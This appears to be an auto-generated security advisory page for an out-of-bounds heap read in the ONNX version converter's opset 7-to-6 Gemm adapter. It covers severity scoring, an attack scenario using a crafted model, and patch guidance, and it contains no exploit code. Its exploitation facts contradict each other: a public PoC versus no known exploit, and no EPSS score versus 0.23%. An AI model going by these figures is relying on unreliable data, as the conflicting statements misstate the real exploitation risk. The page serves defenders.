CVE-2026-63632: ONNX OOB heap read — LOW

Q: Is CVE-2026-63632 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-63632, increasing the risk of exploitation.

Q: How to fix CVE-2026-63632?

Upgrade onnx to version 1.22.0 or later, where the Gemm_7_6 adapter's rank checks are fixed. Until patched, avoid running onnx.version_converter.convert_version() on models from untrusted or external sources, or wrap conversion calls in a sandboxed/isolated process with resource limits. For pipelines that must process third-party models, validate tensor shapes/ranks before conversion or pin onnx to the patched release in your dependency manifest. Detection: monitor for crashes or anomalous behavior in model-conversion services when processing externally supplied ONNX files, and audit ingestion pipelines for any step that calls the version_converter API on unvalidated input.

Q: What systems are affected by CVE-2026-63632?

This vulnerability affects the following AI/ML architecture patterns: model conversion pipelines, MLOps/CI pipelines, model serving, model marketplaces/registries.

Q: What is the CVSS score for CVE-2026-63632?

CVE-2026-63632 has a CVSS v3.1 base score of 3.3 (LOW). The EPSS exploitation probability is 0.23%.

CISO Take

A crafted ONNX model with a malformed Gemm node can trigger a 16-byte heap-buffer-overflow read inside onnx's version_converter when it downgrades a model from opset 7 to 6, because the adapter indexes into a tensor shape vector without checking that the tensor actually has enough dimensions. This matters less for direct exploitation risk and more for supply-chain exposure: onnx has 1,060 downstream dependents and a strong OpenSSF Scorecard (8.8/10), so the fix reaches a wide surface, but the bug itself carries a low CVSS of 3.3, requires user interaction, has no EPSS score, isn't in CISA KEV, and has no known public exploit or scanner template. On Release builds the out-of-bounds read is silent and its value can leak into the converted model's output shape metadata rather than crashing, which makes it a low-severity information-disclosure/DoS primitive rather than anything remotely code-execution capable. Any team that runs onnx.version_converter.convert_version() on model files from outside their control — conversion pipelines, model marketplaces, compatibility shims in MLOps tooling — should upgrade to onnx 1.22.0 and, until then, avoid running version conversion on untrusted models.

Sources: NVD GitHub Advisory OpenSSF ATLAS

What is the risk?

Low severity (CVSS 3.1: 3.3, AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L). Exploitation requires local execution context and user interaction (loading and converting an attacker-supplied model), with no network attack vector. Impact is limited to a 16-byte out-of-bounds heap read — no direct code execution, and integrity of the process is unaffected per the vector string, though the description notes the leaked bytes can propagate into converted output shapes and different heap layouts could cause a crash (availability impact). No EPSS score, no CISA KEV listing, no public PoC weaponization or Nuclei template beyond the researcher's disclosure PoC, and no evidence of active exploitation. Overall this is a real but low-urgency memory-safety bug best handled through routine patch cadence rather than emergency response.

How does the attack unfold?

Malicious model crafting

Attacker crafts a small ONNX model containing a Gemm node whose input tensor B has fewer than 2 dimensions, designed to trigger an out-of-bounds shape access.

AML.T0011.000

Delivery

Attacker submits or distributes the malicious model to a service or pipeline that performs automatic opset downgrade conversion on user- or third-party-supplied models.

AML.T0010.003

Trigger conversion

The victim's system calls onnx.version_converter.convert_version(model, 6), invoking the vulnerable Gemm_7_6 adapter which reads 16 bytes past the tensor shape vector's heap allocation.

Impact

On Release builds the out-of-bounds value silently propagates into the converted model's output shape metadata (potential heap data leak); on other heap layouts the same input can crash the conversion process.

Malicious model crafting

Attacker crafts a small ONNX model containing a Gemm node whose input tensor B has fewer than 2 dimensions, designed to trigger an out-of-bounds shape access.

AML.T0011.000

Delivery

Attacker submits or distributes the malicious model to a service or pipeline that performs automatic opset downgrade conversion on user- or third-party-supplied models.

AML.T0010.003

Trigger conversion

The victim's system calls onnx.version_converter.convert_version(model, 6), invoking the vulnerable Gemm_7_6 adapter which reads 16 bytes past the tensor shape vector's heap allocation.

Impact

On Release builds the out-of-bounds value silently propagates into the converted model's output shape metadata (potential heap data leak); on other heap layouts the same input can crash the conversion process.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
ONNX	pip	>= 1.3.0, <= 1.21.0	`1.22.0`
21.5K OpenSSF 8.7 1.1K dependents Pushed 2d ago 81% patched ~45d to patch Full package profile →

Do you use ONNX? You're affected.

How severe is it?

CVSS 3.1

3.3 / 10

EPSS

0.2%

chance of exploitation in 30 days

Higher than 14% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Local

AC Low

PR None

UI Required

S Unchanged

C None

I None

A Low

What should I do?

1 step

Upgrade onnx to version 1.22.0 or later, where the Gemm_7_6 adapter's rank checks are fixed. Until patched, avoid running onnx.version_converter.convert_version() on models from untrusted or external sources, or wrap conversion calls in a sandboxed/isolated process with resource limits. For pipelines that must process third-party models, validate tensor shapes/ranks before conversion or pin onnx to the patched release in your dependency manifest. Detection: monitor for crashes or anomalous behavior in model-conversion services when processing externally supplied ONNX files, and audit ingestion pipelines for any step that calls the version_converter API on unvalidated input.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Data Leakage DoS Supply Chain Framework Model AML.T0010.003 - Model AML.T0011.000 - Unsafe AI Artifacts

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

NIST AI RMF

MEASURE 2.7 - AI system security and resilience is evaluated and documented

OWASP LLM Top 10

LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-63632?

A crafted ONNX model with a malformed Gemm node can trigger a 16-byte heap-buffer-overflow read inside onnx's version_converter when it downgrades a model from opset 7 to 6, because the adapter indexes into a tensor shape vector without checking that the tensor actually has enough dimensions. This matters less for direct exploitation risk and more for supply-chain exposure: onnx has 1,060 downstream dependents and a strong OpenSSF Scorecard (8.8/10), so the fix reaches a wide surface, but the bug itself carries a low CVSS of 3.3, requires user interaction, has no EPSS score, isn't in CISA KEV, and has no known public exploit or scanner template. On Release builds the out-of-bounds read is silent and its value can leak into the converted model's output shape metadata rather than crashing, which makes it a low-severity information-disclosure/DoS primitive rather than anything remotely code-execution capable. Any team that runs onnx.version_converter.convert_version() on model files from outside their control — conversion pipelines, model marketplaces, compatibility shims in MLOps tooling — should upgrade to onnx 1.22.0 and, until then, avoid running version conversion on untrusted models.

Is CVE-2026-63632 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-63632, increasing the risk of exploitation.

How to fix CVE-2026-63632?

Upgrade onnx to version 1.22.0 or later, where the Gemm_7_6 adapter's rank checks are fixed. Until patched, avoid running onnx.version_converter.convert_version() on models from untrusted or external sources, or wrap conversion calls in a sandboxed/isolated process with resource limits. For pipelines that must process third-party models, validate tensor shapes/ranks before conversion or pin onnx to the patched release in your dependency manifest. Detection: monitor for crashes or anomalous behavior in model-conversion services when processing externally supplied ONNX files, and audit ingestion pipelines for any step that calls the version_converter API on unvalidated input.

What systems are affected by CVE-2026-63632?

This vulnerability affects the following AI/ML architecture patterns: model conversion pipelines, MLOps/CI pipelines, model serving, model marketplaces/registries.

What is the CVSS score for CVE-2026-63632?

CVE-2026-63632 has a CVSS v3.1 base score of 3.3 (LOW). The EPSS exploitation probability is 0.23%.

What is the AI security impact?

Affected AI Architectures

model conversion pipelinesMLOps/CI pipelinesmodel servingmodel marketplaces/registries

MITRE ATLAS Techniques

AML.T0010.003 Model

AML.T0011.000 Unsafe AI Artifacts

Compliance Controls Affected

EU AI Act: Article 15

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.

Exploitation Scenario

An adversary crafts a 186-byte ONNX model containing a Gemm node whose input tensor B has only one dimension (e.g., shape [28]) instead of the expected 2+. They submit this model to a service that automatically normalizes opset versions — for example, a model-hosting platform, a CI pipeline that standardizes uploaded models, or an MLOps tool that downgrades opsets for legacy inference runtime compatibility. When the victim's system calls convert_version(model, 6), the Gemm_7_6 adapter reads 16 bytes past the tensor shape vector's heap allocation. On a Release build this corrupted value is silently written into the converted model's output shape metadata, which the attacker may then be able to retrieve (e.g., by downloading the converted model or inspecting error/debug output), potentially disclosing fragments of adjacent heap memory. On builds with different heap layouts or sanitizers, the same input can instead crash the conversion process, degrading availability of the conversion service.

Weaknesses (CWE)

CWE-125 Out-of-bounds Read Primary CWE-125 Out-of-bounds Read Primary CWE-125 Out-of-bounds Read

CWE-125 — Out-of-bounds Read: The product reads data past the end, or before the beginning, of the intended buffer.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] Use a language that provides appropriate memory abstractions.

Source: MITRE CWE corpus.